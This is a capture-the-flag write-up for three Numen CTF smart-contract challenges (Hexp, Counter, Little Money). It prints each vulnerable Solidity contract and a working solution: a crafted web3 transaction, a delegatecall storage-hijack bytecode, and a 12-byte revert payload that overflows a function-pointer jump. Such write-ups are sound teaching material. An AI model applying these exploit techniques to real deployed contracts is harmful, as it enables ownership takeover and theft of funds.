Numen CTF WriteUps
Hexp
Contract :
pragma solidity ^0.8.0;
contract Hexp {
address public immutable target;
bool flag;
constructor() {
bytes memory code = hex"3d602d80600a3d3981f362ffffff80600a43034016903a1681146016576033fe5b5060006000f3";
address child;
assembly {
child := create(0, add(code, 0x20), mload(code))
}
target = child;
}
function f00000000_bvvvdlt() external {
(bool succ, bytes memory ret) = target.call(hex"");
assert(succ);
flag = true;
}
function isSolved() public view returns (bool) {
return flag;
}
}
To solve this challenge we need to make the flag
to true , for that we need to call the f00000000_bvvvdlt()
function which calls the target contract which is created by our main contract using the bytecode.
After decompiling the bytecode : 0x62ffffff80600a43034016903a1681146016576033fe5b5060006000f3
we get this.
function __function_selector__() public payable {
assert(block.blockhash(block.number - 10) & 0xffffff == msg.gas & 0xffffff);
return ;
}
This contract checking the gasPrice of the transaction is equal to block.blockhash(block.number - 10) & 0xffffff
.
Solution :
await web3.eth.sendTransaction({
nonce: await web3.eth.getTransactionCount(player),
//our address
from: player,
//contract address
to: to_acc,
value: 0,
gas: 30000000,
chainId: 22574,
//calculating the blockhash of the blocknumber - 10 and adding some value to increase the gasPrice .
gasPrice:
Number(
BigInt(
"0x" +
(
await web3.eth.getBlock(
(await web3.eth.getBlockNumber()) - 10
)
).hash.slice(2)
) & BigInt("0xffffff")
) + 0x1000000,
//functin signature of f00000000_bvvvdlt()
data: "0x00000000",
});
Counter
Contract :
pragma solidity ^0.8.13;
contract Deployer {
constructor(bytes memory code) { assembly { return (add(code, 0x20), mload(code)) } }
}
contract SmartCounter{
address public owner;
address public target;
bool flag=false;
constructor(address owner_){
owner=owner_;
}
function create(bytes memory code) public{
require(code.length<=24);
target=address(new Deployer(code));
}
function A_delegateccall(bytes memory data) public{
(bool success,bytes memory returnData)=target.delegatecall(data);
require(owner==msg.sender);
flag=true;
}
function isSolved() public view returns(bool){
return flag;
}
}
To solve this challenge we need to set the flag
to true , for that we need to call the A_delegateccall
function and we should be the owner of the contract.
Using the create function we can create the contract using bytecode later we are interacting with the same contract from the A_delegateccall
function.
The Deployer contract constructor creating a contract by taking the runtime bytecode .
We can simply edit the owner variable in the original contract using the delegate call.
For setting owner :
CALLER //msg.sender
CALLVALUE //push 0x0
SSTORE
0x333455
Call the create
function using this bytes will create a contract which stores the msg.sender
value in the slot 0 .
Calling the A_delegateccall
function with any data will set the flag
to true.
Little Money
Contract :
pragma solidity 0.8.12;
contract Numen {
address private owner;
event SendFlag(address);
constructor(){
owner = msg.sender;
}
struct func{
function() internal ptr;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier checkPermission(address addr){
_;
permission(addr);
}
function permission(address addr)internal view{
bool con = calcCode(addr);
require(con,"permission");
require(msg.sender == addr);
}
function calcCode(address addr)internal view returns(bool){
uint x;
assembly{
x := extcodesize(addr)
}
if(x == 0){return false;}
else if(x > 12){return false;}
else{assembly{return(0x20,0x00)}}
}
function execute(address target) external checkPermission(target){
(bool success,) = target.delegatecall(abi.encode(bytes4(keccak256("func()"))));
require(!success,"no cover!");
uint b;
uint v;
(b,v) = getReturnData();
require(b == block.number);
func memory set;
set.ptr = renounce;
assembly {
mstore(set, add(mload(set),v))
}
set.ptr();
}
function renounce()public{
require(owner != address(0));
owner = address(0);
}
function getReturnData()internal pure returns(uint b,uint v){
assembly {
if iszero(eq(returndatasize(), 0x40)) { revert(0, 0) }
let ptr := mload(0x40)
returndatacopy(ptr, 0, 0x40)
b := and(mload(ptr), 0x00000000000000000000000000000000000000000000000000000000ffffffff)
v := mload(add(0x20, ptr))
}
}
function payforflag() public payable onlyOwner {
require(msg.value == 1, 'I only need a little money!');
emit SendFlag(msg.sender);
}
receive()external payable{
this;
}
fallback()external payable{
revert();
}
}
The objective is to call the SendFlag() function present in payforflag(), but it is restricted with the onlyOwner modifier. Despite the availability of the renounce() function, it can only set the owner to address(0) and cannot be used to set it to any other address.
The execute() function contains inline assembly code that enables us to modify the jump destination of the ptr property of the set struct that resides in the memory.
By manipulating the value of v, we can control the jump destination that will be affected. However, execute() initiates a delegatecall to the target address, with the expectation of it failing, which means we cannot use the delegatecall to modify the owner address. Instead, we can cause a revert with b and v as the error message. Here, b is the block number, and v will influence the jump destination.
In addition, execute() contains a checkPermission modifier that executes the permission() function after the content of the execute() function has been executed. This verifies that our target address has bytecode not exceeding 12 bytes and cannot be empty.
The return in the assembly of calcCode() will stop the execution of the modifier.
Our objective is to jump to 0x1f5 to trigger SendFlag, but there is a complication: the value of v is being added to 0x22a, which is larger than the target jump destination. However, this is not a problem since the addition is performed in inline assembly without any protection for overflow/underflow, so we can simply overflow it to get to 0x1f5.
To achieve this, we can use the following sequence of opcodes:
mstore(0, block.number)
mstore(0x20, NOT 0x34)
revert(0, 0x40)
Additionally, we push 0 to the stack using the callvalue opcode (since its value is 0), instead of using push1 which requires an extra bytecode. We also push the value 0x20 to the stack and use the msize opcode to determine the amount of memory that will be accessed (0x40 in this case).
The bytecode of 12 size will be 0x4334526034196020525934fd
. Use this to create a contract and use the cc address to pass in execute() method.
pragma solidity ^0.8.13;
contract Attack {
address public cc;
function deployMinimal() public {
bytes memory bytecode = hex"6b4334526034196020525934fd600052600c6014f3";
address addr;
assembly {
addr := create(0, add(bytecode, 0x20), 0x15)
}
require(addr != address(0));
cc = addr;
}
}